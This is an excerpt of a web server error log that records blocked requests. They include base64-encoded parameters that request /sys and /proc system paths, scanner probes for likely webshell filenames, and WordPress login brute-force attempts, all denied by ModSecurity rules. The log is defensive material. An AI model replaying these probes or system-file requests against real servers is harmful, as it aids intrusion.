/home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:07:49.465611 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:07:49.468396 2026] [access_compat:error] [pid 531797:tid 531918] [remote 216.73.217.87:61587] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:49.468834 2026] [access_compat:error] [pid 531797:tid 531918] [remote 216.73.217.87:61587] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:49.548441 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNg== [Sat Jun 13 18:07:49.548731 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNg== [Sat Jun 13 18:07:49.623598 2026] [security2:error] [pid 531797:tid 531978] [remote 17.246.23.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LSQACenE"] [Sat Jun 13 18:07:49.639569 2026] [access_compat:error] [pid 531797:tid 531867] [remote 57.141.14.75:43906] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:49.639844 2026] [access_compat:error] [pid 531797:tid 531867] [remote 57.141.14.75:43906] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:49.670669 2026] [access_compat:error] [pid 531797:tid 531896] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS80Nw== [Sat Jun 13 18:07:49.670976 2026] [access_compat:error] [pid 531797:tid 531896] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS80Nw== [Sat Jun 13 18:07:49.698599 2026] [security2:error] [pid 531797:tid 531910] [remote 45.117.169.86:46900] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.169.117.45.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "isesurveys.ca"] [uri "/wp-login.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LTAACdS4"] [Sat Jun 13 18:07:49.746767 2026] [security2:error] [pid 531797:tid 532020] [client 191.234.188.123:47945] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/zo.php/itil.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LTgAAAiw"] [Sat Jun 13 18:07:49.774521 2026] [security2:error] [pid 531797:tid 531887] [remote 17.246.15.19:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w1cTA7b1mZrmcA-8LTwACjBc"] [Sat Jun 13 18:07:49.787241 2026] [access_compat:error] [pid 531797:tid 531878] [remote 57.141.14.47:54288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:49.787667 2026] [access_compat:error] [pid 531797:tid 531878] [remote 57.141.14.47:54288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:49.953276 2026] [security2:error] [pid 531155:tid 531331] [client 20.151.217.54:46221] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/flox.php"] [unique_id "ai3w1SmiP80klyS0Nnrm5gAAATg"] [Sat Jun 13 18:07:49.985163 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:07:49.985581 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:07:50.054518 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMQ== [Sat Jun 13 18:07:50.054821 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMQ== [Sat Jun 13 18:07:50.117948 2026] [security2:error] [pid 531155:tid 531218] [remote 17.241.75.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w1imiP80klyS0Nnrm6QABVz4"] [Sat Jun 13 18:07:50.232255 2026] [security2:error] [pid 531797:tid 531983] [remote 20.153.140.50:52770] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.140.153.20.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-login.php"] [unique_id "ai3w1sTA7b1mZrmcA-8LXwACi3Y"] [Sat Jun 13 18:07:50.316571 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.73:55540] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:50.317031 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.73:55540] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:50.319105 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.68:41852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:50.319382 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.68:41852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:50.377557 2026] [security2:error] [pid 531797:tid 532012] [client 20.151.217.54:58173] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/yoy123.php"] [unique_id "ai3w1sTA7b1mZrmcA-8LZwAAAiQ"] [Sat Jun 13 18:07:50.412945 2026] [security2:error] [pid 531797:tid 532074] [client 20.151.217.54:65252] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/Ov-Simple1.php"] [unique_id "ai3w1sTA7b1mZrmcA-8LaAAAAmA"] [Sat Jun 13 18:07:50.439206 2026] [security2:error] [pid 531155:tid 531312] [client 148.113.209.179:59504] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w1imiP80klyS0Nnrm9AAAASU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:50.517223 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:07:50.517520 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:07:50.589191 2026] [security2:error] [pid 531797:tid 531959] [remote 17.246.19.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w1sTA7b1mZrmcA-8LbAACfl8"] [Sat Jun 13 18:07:50.602643 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:50.602999 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:50.607218 2026] [security2:error] [pid 531155:tid 531285] [client 172.171.3.232:27178] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/sx21_1.php"] [unique_id "ai3w1imiP80klyS0Nnrm-AAAAQo"] [Sat Jun 13 18:07:50.629623 2026] [security2:error] [pid 531797:tid 532099] [client 191.233.234.186:44743] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3w1sTA7b1mZrmcA-8LbgAAAng"] [Sat Jun 13 18:07:50.704217 2026] [security2:error] [pid 531155:tid 531305] [client 191.234.188.123:47946] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wsc.php"] [unique_id "ai3w1imiP80klyS0Nnrm-wAAAR4"] [Sat Jun 13 18:07:50.913966 2026] [security2:error] [pid 531797:tid 531970] [remote 17.22.245.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w1sTA7b1mZrmcA-8LdQACSGk"] [Sat Jun 13 18:07:50.955869 2026] [access_compat:error] [pid 531797:tid 531907] [remote 57.141.14.74:61626] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:50.956166 2026] [access_compat:error] [pid 531797:tid 531907] [remote 57.141.14.74:61626] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:51.052057 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:07:51.052537 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:07:51.061939 2026] [security2:error] [pid 531797:tid 532090] [client 20.151.217.54:58227] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/fff.php"] [unique_id "ai3w18TA7b1mZrmcA-8LegAAAm8"] [Sat Jun 13 18:07:51.151406 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:51.151704 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:51.371720 2026] [security2:error] [pid 531155:tid 531205] [remote 17.241.75.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w1ymiP80klyS0NnrnBQABRTE"] [Sat Jun 13 18:07:51.468315 2026] [security2:error] [pid 531797:tid 532106] [client 20.151.217.54:58141] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/dccs.php"] [unique_id "ai3w18TA7b1mZrmcA-8LigAAAn8"] [Sat Jun 13 18:07:51.574937 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:07:51.575215 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:07:51.603303 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.84:53358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:51.603749 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.84:53358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:51.612728 2026] [access_compat:error] [pid 531797:tid 531904] [remote 57.141.14.53:47628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:51.613008 2026] [access_compat:error] [pid 531797:tid 531904] [remote 57.141.14.53:47628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:51.618931 2026] [security2:error] [pid 531797:tid 532086] [client 148.113.209.179:59516] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w18TA7b1mZrmcA-8LkAAAAmw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:51.640547 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMA== [Sat Jun 13 18:07:51.640845 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMA== [Sat Jun 13 18:07:51.672407 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.98:42100] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:51.672680 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.98:42100] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:51.701316 2026] [security2:error] [pid 531797:tid 532011] [client 34.74.242.206:1549] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web 